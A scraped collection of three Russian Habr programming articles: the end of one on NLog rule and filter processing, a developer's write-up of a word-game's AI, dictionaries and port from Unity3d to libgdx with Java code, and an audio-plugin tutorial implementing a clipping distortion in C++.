Главный метод, ответственный за создание данных цепочек — [GetTargetsByLevelForLogger](https://github.com/NLog/NLog/blob/af2ca41049fdb29c6da95d8e83156aad9c52d925/src/NLog/LogFactory.cs#L647) класса `LogFactory`. Вот как он работает. Все правила, заданные в конфигурации NLog перебираются по очереди. Прежде всего проверяется, соответствует ли имя правила имени логгера. Имена правил могут содержать подстановочные символы, такие же как те, что мы используем для объектов файловой системы:
* `*` — произвольная последовательность символов
* `?` — любой единичный символ
Таким образом имя правила '`*`' соответствует любому имени логгера, а '`Common*`' соответствует всем логгерам, чьи имена начинаются с '`Common`'.
Если имя правила не соответствует имени логгера, то данной правило отбрасывается со всеми вложенными в него правилами. В противном случае метод `GetTargetsByLevelForLogger` получает все уровни логирования, для которых это правило включено. Для каждого такого уровня NLog добавляет все приемники сообщений, указанные в правиле, в соответствующие цепочки приемников вместе с фильтрами этого правила.
Есть еще одна важная особенность конструирования цепочек приемников. Если текущее правило помечено как `final` и его имя соответствует имени логгера, то NLog завершает на нем построение цепочек для всех уровней логирования, включенных для данного правила. Это означает, что ни вложенные правила, ни последующие правила ничего не добавят в эти цепочки приемников. Их создание полностью завершено и они уже не будут меняться. Отсюда следует, что не имеет смысла писать что-то подобное:
```
```
Никакие сообщения не попадут в `target2`. Но возможно написать что-то такое:
```
```
Поскольку внешнее правило не включено для уровня `Info`, цепочка приемников для этого уровня не закончится на внешнем правиле. Поэтому все сообщения с уровнем `Info` попадут в `target2`.
После того, как все приемники из данного правила добавлены в соответствующие цепочки, метод рекурсивно обрабатывает все вложенные правила текущего правила по тому же алгоритму. Это происходит вне зависимости от уровней логирования, включенных для родительского правила.
В итого конфигурация для логгера готова. Она содержит цепочки приемников с фильтрами для каждого возможного уровня логирования:
Пришло время посмотреть, как эта конфигурация используется.
Использование конфигурации логгера
----------------------------------
Начнем с простых вещей. Класс `Logger` имеет метод `IsEnabled` и связанные свойства `IsXXXEnabled` (`IsDebugEnabled`, `IsInfoEnabled`, ...). Как они работают? На самом деле они просто проверяют, содержат ли цепочки приемников для заданного уровня логирования хотя бы одно звено (см. [здесь](https://github.com/NLog/NLog/blob/af2ca41049fdb29c6da95d8e83156aad9c52d925/src/NLog/Logger.cs#L87)). Это означает, что фильтры никогда не влияют на значения этих свойств.
Далее, позвольте мне объяснить, что происходит, когда вы пытаетесь залогировать какое-нибудь сообщение. Как вы могли догадаться, логгер берет цепочку приемников для уровня логирования этого сообщения. Затем он начинает обрабатывать звенья этой цепи одно за другим. Для каждого звена логгер решает, нужно ли записывать сообщение в приемник, указанный в звене, и следует ли после этого продолжать обработку цепочки. Эти решения принимаются с помощью фильтров. Разрешите мне показать, как фильтры работают в NLog.
Вот как фильтры задаются в конфигурации:
```
```
Обычно фильтр содержит некоторое булевское условие. Здесь вы можете решить, что фильтр возвращает `true` или `false` для каждого сообщения. Но это не так. Результатом их работы является значение типа [`FilterResult`](https://github.com/NLog/NLog/blob/2fffff47a50423477a801afb416767cf64e34707/src/NLog/Filters/FilterResult.cs#L39). Если условие фильтра возвращает `true`, то результатом работы фильтра становится значение, указанное в атрибуте `action` (в нашем примере это `Ignore`). Если же условие возвращает `false`, то результатом работы фильтра будет `Neutral`. Это означает, что фильтр не хочет решать, что делать с сообщением.
Вы можете посмотреть, как обрабатывается цепочка приемников [здесь](https://github.com/NLog/NLog/blob/af2ca41049fdb29c6da95d8e83156aad9c52d925/src/NLog/LoggerImpl.cs#L98). Для каждого приемника вычисляется результат работы соответствующих фильтров в методе [`GetFilterResult`](https://github.com/NLog/NLog/blob/af2ca41049fdb29c6da95d8e83156aad9c52d925/src/NLog/LoggerImpl.cs#L239). Он равен результату работы первого фильтра, вернувшего не `Neutral`. Это означает, что если некоторый фильтр возвращает значение, отличное от `Neutral`, все последующие фильтры не выполняются.
Но что произойдет, если все фильтры вернут `Neutral`? В этом случае будет использоваться значение по умолчанию. Это значение устанавливается с помощью атрибута `defaultAction` у элемента `filters` для правила. Как вы думаете, каково значение по умолчанию для `defaultAction`? Вы правы, если считаете, что это `Neutral`. То есть вся цепочка фильтров может вернуть `Neutral` в качестве результата. В этом случае NLog ведет себя так же, как и получив `Log`. Сообщение будет записано в приемник (см. [здесь](https://github.com/NLog/NLog/blob/2fffff47a50423477a801afb416767cf64e34707/src/NLog/LoggerImpl.cs#L201)).
Как вы могли догадаться, если фильтр возвращает `Ignore` или `IgnoreFinal`, сообщение не будет записано в приемник. Если результат работы фильтра — `Log` или `LogFinal`, сообщение будет записано. Но в чем разница между `Ignore` и `IgnoreFinal` и между `Log` или `LogFinal`? Это просто. В случае `IgnoreFinal` и `LogFinal` NLog прекращает обработку цепочки приемников и не пишет ничего в приемники, содержащиеся в последующих звеньях.
Заключение
----------
Анализ кода NLog помог мне разобраться с тем, как работают правила и фильтры. Надеюсь, что эта статья будет полезна и вам. Удачи! | https://habr.com/ru/post/450728/ | null | ru | null |
# Гуру слов, проблемы с Unity3d, и счастливый финал в итоге
Идея игры и ее особенности
==========================
Наверное, все играли в какие-то игры, где нужно составлять слова. Кто не знает, что такое кроссворды? А [Города](https://ru.wikipedia.org/wiki/%D0%93%D0%BE%D1%80%D0%BE%D0%B4%D0%B0_%28%D0%B8%D0%B3%D1%80%D0%B0%29).? Еще популярная игра (не помню названия) — дается длинное слово (мне почему-то запомнилось "электрификация"), и из него составляются всевозможные слова ("электрик", "фикция") и т.д. В общем, таких игр есть множество — как и классических (настолки, листок и ручка), так и электронных.
Но нам же всегда мало, мы хотим больше и лучше, не так ли?
На Западе есть популярная настольная игра, где тоже нужно составлять слова. Называется Scrabble, [здесь больше информации](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D1%80%D1%8D%D0%B1%D0%B1%D0%BB). Правила просты — на квадратном игровом поле изначально есть одно слово. Каждый игрок имеет определенные фишки с буквами. В свой ход он должен выложить одну фишку так, чтобы получилось новое слово (или несколько слов). Каждая буква имеет свою ценность (в баллах), поэтому некоторые слова более ценные, чем другие. Редкие буквы (например, "Ф") дают больше баллов.
Мой друг много игрался в Скрэббл, и у него возникла идея — а почему бы не изменить правила игры, чтобы она стала динамичней? Вкратце это звучит так — добавь одну любую букву и собери новое слово.
Сказано — сделано.
Пример: есть игровое поле, где есть слово "ЛАЗ". Добавляем букву "К" — получаем слово "ЛАК". Весьма просто, не так ли?
Некоторые игровые ограничения: можно составлять лишь существительные, убраны собственные имена, географические названия, имена, и т.д. Слова, которые можно использовать лишь в множественном числе, оставлены (например, "очки").
Я сделал прототип игры за пару дней, и она меня увлекла. С ужасным дизайном, с неполным словарем, с тупым ИИ — но это было играбельно и затягивающе.
И я взялся серьезно за разработку.
Железный противник
==================
С чего начинается разработка игры? В нашем случае — с играбельного ядра, которое можно расширить. У нас — это игра с компьютером.
Вообще мы планировали несколько режимов игры. Но первый режим, который должен быть в любом случае — это игра против компьютера. Живых противников может не быть рядом, и здесь компьютер наш выручит. Поэтому я начал написание игры с написания искусственного интеллекта (ИИ).
Как вообще работает ИИ в нашей игре, когда ему переходит ход?
Первый этап — это поиск крайних клеток. Крайней клеткой я обозвал такую клетку, в которой есть буква, и у которой по вертикали или горизонтали есть хотя бы одна свободная ячейка. На картинке ниже такие клетки выделены красными точками.
Зачем нам нужны такие клетки? А потому что мы можем доставить букву в пустую клетку (желтая точка), и получить новое слово. Обратите внимание, что слово собрать можно двумя способами. Можно поставить букву, начать с нее же, и собрать слово ГАЗ (Г первая). Или же поставить букву последней, и собрать слово ЗАД (Д последняя).
Второй этап — после того, как мы нашли все крайние клетки. Задача следующая — составить всевозможные цепочки, и проверить, можем ли мы составить новое слово добавив спереди или позади новую букву. Например, для примера на картинке выше возможны следующие цепочки:
* Л
* ЛА
* ЛАЗ
* А
* ЛА
* АЗ
* З
* ЗА
* ЗАЛ
Очевидно, что с увеличением поля и заполненности поля количество и длина цепочек будет расти. Поэтому было принято волевое решение даже на максимальном уровне сложности ограничить длину цепочек в 10 символов. Как показала практика, даже при таком ограничении компьютер без проблем расправляется с человеком (как минимум со мной и моим другом).
Третий этап — проверить, какие цепочки являются валидными (то есть, можно составить новое слово). Я думаю, вы догадались, какая проблема кажется очевидной — мы не можем использовать тупой поиск, не хватит никаких ресурсов сравнивать миллионы раз строки (если искать, просто перебирая последовательно элементы). На ум сразу приходит использовать бинарный поиск — благо это словарь, и мы можем сравнивать слова.
В общем, так я и сделал. Правда, я это все еще оптимизировал. В чем суть — я хитро отсортировал словарь. Например, у нас есть цепочка длиной в 5 символов. Очевидно, что новое слово будет длиной ровно в 6 символов. То есть, по длине цепочки мы точно знаем длину слова. Поэтому словарь отсортирован сначала по длине слова, а внутри — еще по алфавиту.
Вот пример. У нас есть цепочка СА. Если мы допишем в конец букву Д — получится слово САД, и это очень хорошо. Поэтому что мы делаем:
* ищем в словаре все слова, длиной в 3 буквы (длина цепочки + 1)
* среди этих слов ищем все, что начинаются на СА
Внимательные заметили, что так мы можем найти лишь те слова, которые можно составить методом дописывания буквы к цепочке в конце. А как же те слова, которые можно составить, дописав букву в начале цепочки? Ведь мы можем составить слово, и добавив спереди букву — например, ОСА. Получается, нам нужно искать трехбуквенные слова, которые кончаются на СА -а словарь у нас на такое не заточен.
Выходом стал еще один словарь, который отсортирован также сначала по длине слов, а дальше — по ВТОРОЙ букве слова. Вот выдержка из нашего словаря:
…
ярд
орк
ёрш
оса
иск
ось
дуб
зуб
куб
...
Получается, в обеих случаях мы ищем не полное слово, а подстроку (цепочку).
И, наконец, финальный этап — это сортировка полученных слов по их цене (а цена считается как сумма баллов, умноженная на длину слова), и выдача результата в зависимости от сложности.
Про сложность. Есть хорошая фраза — задача ИИ не выиграть, а красиво сдаться. В данном случае эта фраза себя полностью оправдывает. Дать ИИ играть на полную — означает крах человека, бинарный поиск и современные смартфоны делают перебор вариантов быстро. Поэтому у компьютера есть определенные рамки — он должен держаться от человека +- опреленное количество баллов. Там есть еще дополнительные моменты — например, он не может собирать слова, которые меньше определенной стоимости.
Кстати, в режиме сложности "Ультра" все ограничения с компьютера сняты. Если кто-то знает много длинных слов с буквами Ь, Ф, Ъ — сыграйте, это будет интересный поединок.
Еще один лайфхак, доступный человеку, но недоступный машине. Можно составить слово, и добавив букву в средину этого слова. Например, у нас есть цепочка М\*МА (звездочка — это пустая клетка). Если мы добавим вместо звездочки А — получим слово МАМА. Так вот, компьютер так не ищет — пользуйтесь этим, обманывайте железяку (я так делаю постоянно).
Как завершение, хочу сказать следующее. Я боялся, что ИИ будет тормозить — и изначально взялся оптимизировать его по максимуму — никаких строк, массивы char-ов, бинарный поиск с оптимизациями под конкретную задачу. Но ничего не тормозило — вообще. То есть, даже мой древний android-смартфон без задержек отрабатывает задачи перебора даже на поле большого размера. Вывод — не такое уж и слабое железо на смартфонах.
Игровая модель. Работа со словарями
===================================
Первое, что нужно в играх такого рода — это словарь. Чем более полный он будет, тем меньше проблем будет от гневных пользователей. Причем если не будет какого-то редкого слова, это не большая проблема. А если не будет слова "кот" — это очень плохо. Поэтому первый этап — составление словаря. Ах да, два словаря — игра-то и на русском, и на английском есть.
Сначала я прошерстил интернет, нашел базу на 37 тысяч слов. Я обрадовался. Но рано. Эта база был результат парсера, написанного автором давным-давно. Как результат, многих слов не имелось, а многие были неподходящие (были имена собственные, и — о ужас — прилагательные). Это было плохо. Мой друг скинул мне еще пару файликов со словами — там дело было еще хуже — попадались цифры, и все в таком роде.
Я написал утилитку на java, которой на вход я даю "мусорный" файл со всеми словами, и даю список допустимых символов. А она выкидывает из словаря повторы, убирает слова, в которых есть неправильные буквы, отрезает слишком длинные слова (вряд ли кто-то составит в такой игре слово больше 15 букв), и сортирует их в алфавитном порядке (не совсем алфавитном, но про это позже). После этого жизнь стала легче. Появилась новая порция слов — добавил их в конец "мусорного" файла, запустил утилитку — на выходе готовые к употреблению слова.
Хочу сказать, что сколько мы не искали словарей, всех слов мы не нашли (да и наверное не найдем никогда). Мы много играли в игру сами, и постоянно выписывали на листик слова, которые потом я вручную добавлял в игру. Этот процесс продолжается и сейчас — хоть новые слова мы находим уже реже и реже. Я подозреваю, что просто у нас словарный запас ограничен :)
Следующий этап — у нас был словарь, где было много-много слов, и были такие слова, про которые мы ничего не знали (вы знаете, что такое ТРОТ? А это такой вариант аллюра, лошадь так скачет. Я не знал лично, увы). Что делать с такими словами? Просто выбросить не вариант, потому что есть люди, которые умнее меня и моего друга, и знают, что такое этот зверь ТРОТ. Поэтому я накидал за пару часов утилитку, которая слева список слов, а справа браузер для выделенного слова:
Особенная фишка — это английский язык. Половина слов там одновременно и существительные, и еще половина частей речи. А поскольку ни я, ни мой друг не являемся носителями языка, нам сложно было работать с таким словарем. Мы ограничились тем, что короткие слова (до 5 букв включительно) проверили на en.wiktionary, чтобы там было noun. В общем, подход не очень, но самые плохие слова (типо uivag) мы выбросили. Сразу на вопрос, где взялось такое слово — это не я, это парсер так напарсил, а мы потом расхлебывали :).
Мы прекрасно осознаем, что в словарях есть неправильные слова, и мы потихоньку чистим словари. Но как быть с теми словами, которые не попали в словарь, а люди вводят их? Решение было на поверхности — если человек собирает слово, которого нет в словаре, я отправляю его на Google Analytics. План простой — экспортируем данные как csv, я пишу софт, который вычленит уникальные слова из этого потока. Этот же софт ведет базу, где мы будем помечать слова как просмотренные (если нам отправят 768 раз слово ПОЛКА, я задолбусь 768 раз его добавлять). И потихоньку мы будем усовершенствовать свой словарь.
Также в ближайшем обновлении мы добавим возможность вести пользовательський словарь. Если пользователь точно уверен, что такое слово есть в словаре, а вот у нас его нет — он сможет добавить это слово.
Я еще хотел взять готовые словари (в формате dict), и какие-то библиотеки для работы с ними. Возможно, для других языков мы так и сделаем. Но, боюсь, даже в этом случае мы не покроем на 100% все нужные нам слова языка.
В общем, словари — это очень непросто. Точнее, плохой словарь — это вообще несложно, а вот хороший словарь — это вообще сложно. Сделать с первого раза его не выйдет, и мы сейчас на стадии постоянного их улучшения.
Дизайн
======
Дизайн — это сложно. Дизайн — это не мое.
У друга есть художник, который нарисовал нам то, что вы видите на скриншотах. Это не тот глянец, которые вы видите в Candy Crush. С другой стороны, текущий стиль приятный глазу, и подходит игре такого типа. Дизайном я доволен.
Как и положено, между дизайном и его размером есть некоторые проблемы. Большие бэкграунды я максимально пережал, сохранил в jpeg — я сохранил размер apk, но ничего не улучшил видеокарте. А вот элементы интерфейса я максимально делал 9patch. Так я добился примерно одинакового отображения на разных экранах.
Если вы откроете игру, и откроете любой диалоговое окно — это 9patch. И синий бэкграунд, и кнопки — это 9patch. Для себя я понял, что я буду максимально настаивать на 9patch там, где это возможно.
А вот картинка для тех, кто не может открыть игру:
Судя по всему, мы выиграли.
Первая версия — Unity3d
=======================
Начал я писать на Unity3d. У меня и маленький опыт был (перед этим мы выпустили другую игрушку на Unity3d, но это уже другая история), и 5-я версия бесплатная, и классная система UI с коробки… В общем, соблазнился я.
Что сказать. Игра тормозила. На компьютере все ок, но на телефоне — постоянно были мелкие лаги, хоть я и ничего не делал. Поначалу я грешил на неоптимизированность, но ближе к релизу я заволновался — вроде бы и играбельно все, но мелкие такие лаги портили всю малину. И я начал копать материалы по оптимизации.
Изначально я замерил FPS. Он был плохой — он прыгал. От 10 до 60. Когда он был 10 — играть было плохо, скроллинг панели с буквами был нечеткий и рывками. Я расстроился, и начал применять все советы с интернета. Я ухудшил качество текстур, повырубал V-sync, установил пониже настройки качества. Я принудительно выставил совместимость лишь с OpenGL 2 (писали, что это помогает). В общем, я перепробовал все, что мог.
Потом я сделал следующее — я создал новую пустую сцену. Туда поместил счетчик FPS. И запустил игру. FPS был порядка 50 — я немного расстроился, потому что пустая сцена почему-то отьедает уже 10 кадров — но еще не очень, потому что он (FPS) почти не прыгал. После этого я добавил на сцену Canvas, добавил Image (полноэкранный бэкграунд 480\*800, из самым примитивным шейдером — кажется, Vertex Unlit) — и запустил снова. FPS упал до 40. Я вообще расстроился.
У меня не было проблем с архитектурой игры, C# похож на java, кое-где даже покомфортней (привет, свойства), а кое-где — похуже (нет такой свободы в работе с enums). Я написал без проблем весь код, сделал весь UI. Но я ничего не мог сделать с тормозами. Я порылся в интернете, и нашел кучу похожих проблем в других людей. Они писали, что после появления 5-й версии Unity3d их проекты начали ужасно тормозить. Судя по всему, я еще одна жертва. Я пробовал ставить Unity 5.2 (изначально у меня была 5.3), пробовал и бету 5.4. Безрезультатно.
Я разочаровался в Unity3d, надежда зарелизить игру через день-два рухнула. Я не мог выпустить тормозящую пазл-игру, внутренний кто-то во мне не давал это сделать. Я решил вернуться к истокам.
Переход на libgdx
=================
Я создал новый libgdx-проект, и начал портирование игры. libgdx — это то, что меня не подводило. Некоторые вещи там делать дольше (потому что все ручками), но вот к производительности вопросов у меня не возникало никогда.
Архитектура получилась, конечно, совсем другая, чем на Unity3d. Единственная часть, которую я перенес без изменений — это работа со словарями и ИИ. Я тупо скопировал файлы из Unity3d, сменил расширение из .cs на .java, и поправил код. И это нормально работало. Это доказывает, что язык не важен — важен алгоритм и идея.
Главный класс я сделал синглтоном, и обозвал его Core:
**Core.java**package ua.com.umachka.word.guru;
import com.badlogic.gdx.Game;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.graphics.g2d.BitmapFont;
import com.badlogic.gdx.graphics.g2d.SpriteBatch;
import com.badlogic.gdx.graphics.g2d.TextureRegion;
import ua.com.umachka.word.guru.localize.Localize;
import ua.com.umachka.word.guru.screen.game.logic.WordDict;
import ua.com.umachka.word.guru.screen.game.logic.ai.SolutionSearcher;
import ua.com.umachka.word.guru.screen.splash.SplashScreen;
import ua.com.umachka.word.guru.settings.Settings;
public class Core extends Game {
private static Core instance = new Core();
```
private SpriteBatch batch;
private Assets assets;
private Localize localize;
private WordDict dict;
private PlatformInteraction platformInteraction;
private SolutionSearcher searcher;
private float appTimeInSeconds = 0f;
private Core() {}
public static Core getInstance() {
return instance;
}
public void setPlatformInteraction(PlatformInteraction platformInteraction) {
this.platformInteraction = platformInteraction;
}
public PlatformInteraction getPlatformInteraction() {
return platformInteraction;
}
@Override
public void create () {
batch = new SpriteBatch();
assets = new Assets();
assets.loadAll();
localize = new Localize();
localize.loadLanguage(Settings.getInstance().getLanguage());
dict = new WordDict();
dict.load("en");
searcher = new SolutionSearcher();
searcher.setDict(dict);
Gdx.input.setCatchBackKey(true);
setScreen(new SplashScreen(batch));
}
public SpriteBatch getSpriteBatch() {
return batch;
}
public TextureRegion getRegion(String regionName) {
return assets.getRegion(regionName);
}
public BitmapFont getFont(int size) {
return assets.getFont(size);
}
public String text(String tag) {
return localize.text(tag);
}
public Localize localize() {
return localize;
}
public WordDict getDict() {
return dict;
}
public Assets assets() {
return assets;
}
public SolutionSearcher getSearcher() {
return searcher;
}
@Override
public void render() {
appTimeInSeconds += Gdx.graphics.getDeltaTime();
super.render();
}
@Override
public void dispose() {
platformInteraction.reportGameEvent("app-session-length: " + (int) appTimeInSeconds + " sec");
super.dispose();
}
```
}
Написал базовый класс для всех экранов:
**BaseScreeen.java**package ua.com.umachka.word.guru.screen;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.Input.Keys;
import com.badlogic.gdx.ScreenAdapter;
import com.badlogic.gdx.graphics.GL20;
import com.badlogic.gdx.graphics.g2d.SpriteBatch;
import com.badlogic.gdx.scenes.scene2d.Actor;
import com.badlogic.gdx.scenes.scene2d.InputEvent;
import com.badlogic.gdx.scenes.scene2d.InputListener;
import com.badlogic.gdx.scenes.scene2d.Stage;
import com.badlogic.gdx.scenes.scene2d.actions.Actions;
import com.badlogic.gdx.utils.viewport.ScreenViewport;
public class BaseScreen extends ScreenAdapter {
private Stage stage;
private SpriteBatch batch;
```
class BackPressListener extends InputListener {
@Override
public boolean keyDown(InputEvent event, int keycode) {
if (keycode == Keys.ESCAPE || keycode == Keys.BACK) {
onBackOrEscapePressed();
return true;
}
return false;
}
}
public BaseScreen(SpriteBatch batch) {
if (batch == null) {
batch = new SpriteBatch();
}
stage = new Stage(new ScreenViewport(), batch);
stage.addListener(new BackPressListener());
}
@Override
public void render(float delta) {
Gdx.gl.glClear( GL20.GL_COLOR_BUFFER_BIT | GL20.GL_DEPTH_BUFFER_BIT );
stage.act(delta);
stage.draw();
}
@Override
public void show() {
Gdx.input.setInputProcessor(stage);
}
public void addActor(Actor actor) {
stage.addActor(actor);
}
public void onBackOrEscapePressed() {
}
public Stage getStage() {
return stage;
}
public SpriteBatch getBatch() {
return batch;
}
public void postTask(float delay, Runnable task) {
stage.addAction(Actions.sequence(Actions.delay(delay), Actions.run(task)));
}
public void repeatTask(float interval, Runnable task) {
stage.addAction(Actions.forever(Actions.sequence(Actions.run(task), Actions.delay(interval))));
}
public float getHeightPixels(float percent) {
return stage.getHeight() * percent;
}
public float getWidthPixels(float percent) {
return stage.getWidth() * percent;
}
```
}
Еще сделал несколько вспомогательных классов — типо AssetManager, LocalizeManager. Это тривиальные вещи, их нет смысла описывать даже. Локализацию я беру из json файлов. Хотелось бы отметить, что последние libgdx версии позволяют делать текст цветным, размечая его тегами [COLOR]. Нам как раз это нужно было (в одном Label сделать несколько цветов), и эта возможность пришлась очень кстати.
Игра логически разделена на 4 экрана (сплеш, изначальный выбор языка, меню, игровой экран). Каждый экран — это отдельный package, по возможности элементы экран — отдельные классы (например, есть есть экран меню, и там есть верхняя панель — я эту панель делаю отдельным классом). Потом проще править игрушку.
По возможности логика вынесена в класс Model. Она хранит состояние поля, список слов, которые уже были использованы. Модель же отсылает сообщения, если в ней происходят какие-то изменения. Получился примерно паттерн Model-Presenter. Presenter — это GameScreen, который и показывает картинку, и обрабатывает ввод пользователя.
Для поддержки мультиэкранности я использовал Table. Кто не знает — это менеджер раскладки для UI-елементов. Раскладка называется TableLayout. Можно расставить элементы в ячейках виртуальной таблицы, и настроить каждую ячейку. В общем, довольно удобно, и иногда получается сделать то, что ручками в unity3d сделать затруднительно.
Все картинки в игре я запаковал в один текстурный атлас — 1024\*1024. Часть места в атласе осталась еще свободной — это приятно. Это, кстати, один из бонусов libgdx (да и вообще низкоуровневых движков) — можно точно контролировать, какие ресурсы сколько места занимают. Unity3d сама пакует картинки в атласы, но я так до конца и не понял, как она это делает, и главное — как посмотреть финальный результат, сколько атласов и какого размера вышло.
Звуки и музыка. У нас их нет. Баба с возу — кобыле легче :)
Текстовые ресурсы — словари, локализация. Локализация — json. Json вообще отличный формат, если размер данных не слишком большой.
Словари — plain text. Как может кто-то заметил выше, словарей у нас по два одинаковых на каждый язык, но по разному отсортированных. Можно сортировать, конечно, и при запуске приложения — но лучше пожертвовать несколькими сотнями килобайт размера приложения, чем тормозами во время запуска.
Шрифты я использовал TrueType, ttf. В libgdx есть библиотека для работы с ними, и она хорошо работает. Памяти такие шрифты едят больше, конечно, чем просто текстура, но и результ получше визуально намного.
Что хочу сказать. Версию на Unity3d я писал около месяца. Переписал же за три дня на libgdx. Сравнение нечестное, потому что уже были подготовленные ассеты, и основная часть логики была написана. Но по моим ощущениям, мне на libgdx нужно было бы все равно меньше времени, чем на Unity3d.
Свою роль сыграли несколько факторов. Первый — я хорошо знаю libgdx, и не очень — Unity3d. Во вторых — идея игры и все что нужно, у меня было. Главное результат. А он такой — вместо 16 мегабайт тормозного APK (это я в Unity3d вырезал поддержку Android x86, чтобы добиться такого размера, а иначе — 20 +) — я получил APK у 8 мегабайт, и быстрый при этом (стабильных 60 FPS в с полноэкранными полупрозрачными бэкграундами). Плюс возможность легко взаимодействовать с android-кодом. Минус — портирование на ios будет сложнее, особенно в свете последних новостей про libgdx. Но портирование на ios непонятно когда будет, и будет ли вообще, а стабильная android версия нужна уже сейчас.
Для себя я сделал вывод — для своих проектов я буду использовать libgdx, и развивать свой движок, построенный поверх него. Это позволит мне не вздрагивать, когда Unity3d обновится до очередной версии, и не думать, как теперь пройдет сборка на Android, не будет ли тормозить приложение. С другой стороны, я буду периодически щупать очередные версии Unity3d — может, ситуация улучшится, кто знает. Мне вообще кажется, что Unity3d идут больше в сторону десктопной разработки, и поэтому не особо заботятся о производительности на мобильных устройствах.
Монетизация
===========
Первая версия полнофункциональная и бесплатная, нет никаких дополнительных возможностей, которые можно купить за деньги. Но есть реклама — баннер в игровом поле внизу, и полноэкранная при завершении игры. В будущем мы планируем ввести некоторые бонусы, которые можно купить за in-app — добавить букву, сменить букву и т.д. Больше пока не задумывались про это. Сначала нужно довести его до ума (словарь и остальные режимы игры), а дальше можно думать про монетизацию.
Планы по апдейтам
=================
Планов масса. Хотим добавить пользовательський словарь. Хочется добавить игру по сети (я планирую набросать сервер на Netty, есть некоторый опыт). Добавим ачивки. Добавим новые языки. Идей очень много, а времени мало :) Но в ближайшее обновление точно войдет пользовательський словарь — это нужная фишка.
Итоги
=====
Эта игра стала второй, которую я написал, и в которую я сам с удовольствием играю. Если спросите, какая первая — она не моя, фриланс, и она еще не вышла. И мне кажется, это верный путь — писать игры, в которые сам с удовольствием играешься. А писать их, такие игры, нужно с удовольствием :)
P.S. Если есть какие-то нюансы по вопросам игровой логики или libgdx — пишите в комментариях. Я понимаю, что я не могу охватить всю тему, и что-то мог пропустить, поэтому с удовольствием отвечу на любые вопросы | https://habr.com/ru/post/282491/ | null | ru | null |
# Создание аудиоплагинов, часть 4
Все посты серии:
[Часть 1. Введение и настройка](http://habrahabr.ru/post/224911/)
[Часть 2. Изучение кода](http://habrahabr.ru/post/225019/)
[Часть 3. VST и AU](http://habrahabr.ru/post/225457/)
[Часть 4. Цифровой дисторшн](http://habrahabr.ru/post/225751/)
[Часть 5. Пресеты и GUI](http://habrahabr.ru/post/225755/)
[Часть 6. Синтез сигналов](http://habrahabr.ru/post/226439/)
[Часть 7. Получение MIDI сообщений](http://habrahabr.ru/post/226573/)
[Часть 8. Виртуальная клавиатура](http://habrahabr.ru/post/226823/)
[Часть 9. Огибающие](http://habrahabr.ru/post/227475/)
[Часть 10. Доработка GUI](http://habrahabr.ru/post/227601/)
[Часть 11. Фильтр](http://habrahabr.ru/post/227791/)
[Часть 12. Низкочастотный осциллятор](http://habrahabr.ru/post/227827/)
[Часть 13. Редизайн](http://habrahabr.ru/post/228267/)
[Часть 14. Полифония 1](http://habrahabr.ru/post/231513/)
[Часть 15. Полифония 2](http://habrahabr.ru/post/231923/)
[Часть 16. Антиалиасинг](http://habrahabr.ru/post/232153/)
---
Пора приступать к написанию нашего первого плагина. Это будет грязный цифровой дисторшн. Если говорить точнее, плагин будет просто [обрезать](http://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%BF%D0%BF%D0%B8%D0%BD%D0%B3_%28%D0%B0%D1%83%D0%B4%D0%B8%D0%BE%29) пики амплитуды звукового сигнала.
Цифровой дисторшн
-----------------
Значения сигнала, превышающие определенный порог, мы ограничим так, чтобы они не выходили за него:
Говоря «превышающие» я имею ввиду «превышающие определенный положительный порог или опускающиеся ниже определенного отрицательного порога».
При помощи старого доброго скрипта `duplicate` можно скопировать любой проект, дав ему новое имя. И нам не придется для каждого нового проекта вносить все те изменения, которые я описывал раньше.
Откройте терминал, в нем зайдите в директорию *IPlugExamples* и введите вот это:
`./duplicate.py MyFirstPlugin/ DigitalDistortion YourName`
Если вы не читали предыдущие посты, результаты из них можно скачать [отсюда](http://martin-finke.de/blog/articles/audio-plugins-005-digital-distortion/finished-004.zip). Если вы делаете это на Маке, убедитесь, что в Xcode не открыто никаких других проектов. В свежесозданной папке *DigitalDistortion* лежит файл *DigitalDistortion.xcodeproj*. Откройте его, проверьте, чтобы сборка таргета APP запускалась без ошибок. Отредактируйте схемы, как я описывал раньше, чтобы REAPER запускался для VST и AU. Не забудьте, что *Arguments Passed On Launch* должен указывать на нужный *.rpp* файл.
Теперь при запуске REAPER он загружает не *MyFirstPlugin*, а *DigitalDistortion*. Чудеса. Это потому что файлы проектов в REAPER – это просто структурированные текстовые файлы, в которых скрипт `duplicate` заменил все “MyFirstPlugin” на “DigitalDistortion”.
Давайте для начала переименуем параметр `mGain` в `mThreshold`. Откройте *DigitalDistortion.h* и переименуйте `private` переменную:
```
private:
double mThreshold;
```
Теперь в *DigitalDistortion.cpp* замените (Cmd+Alt+F) все встречающиеся `Gain` на `Threshold`. При сборке не должно выскочить никаких ошибок. В конструкторе, в строке инициализации параметра укажите `0.01` как минимальное значение, и `100.0` как значение по умолчанию:
```
GetParam(kThreshold)->InitDouble("Threshold", 100.0, 0.01, 100.0, 0.01, "%");
```
Теперь давайте непосредственно напишем цифровую обработку сигнала:
```
void DigitalDistortion::ProcessDoubleReplacing(
double** inputs,
double** outputs,
int nFrames)
{
// Mutex is already locked for us.
int const channelCount = 2;
for (int i = 0; i < channelCount; i++) {
double* input = inputs[i];
double* output = outputs[i];
for (int s = 0; s < nFrames; ++s, ++input, ++output) {
if(*input >= 0) {
// Make sure positive values can't go above the threshold:
*output = fmin(*input, mThreshold);
} else {
// Make sure negative values can't go below the threshold:
*output = fmax(*input, -mThreshold);
}
}
}
}
```
Если вылезает ошибка про то, что `fmin` и `fmax` не определены, попробуйте переименовать их просто в `min` и `max`. Если и это не помогло, добавьте в шапку *DigitalDistortion.cpp* следующее:
```
#include
```
Если это не решило проблему, вместо предыдущей строки добавьте эту:
```
#include
```
И замените `fmin` на `std::min`, и `fmax` на `std::max`.
Несмотря на то, что значение `channelCount` жестко задано, мы убрали некоторую избыточность, использовав внешний цикл `for` для итерации над каналами. То есть, сначала плагин обрабатывает несколько семплов из одного канала, а затем делает то же самое с семплами второго.
Интересный момент с условным оператором `if`. Для положительных значений амплитуды мы выбираем меньшее из двух: либо входное значение, либо пороговое. Для отрицательных — наоборот, выбираем большее: либо `*input`, либо отрицательное пороговое значение. Короче, мы всегда выбираем то значение, которое ближе к нулю.
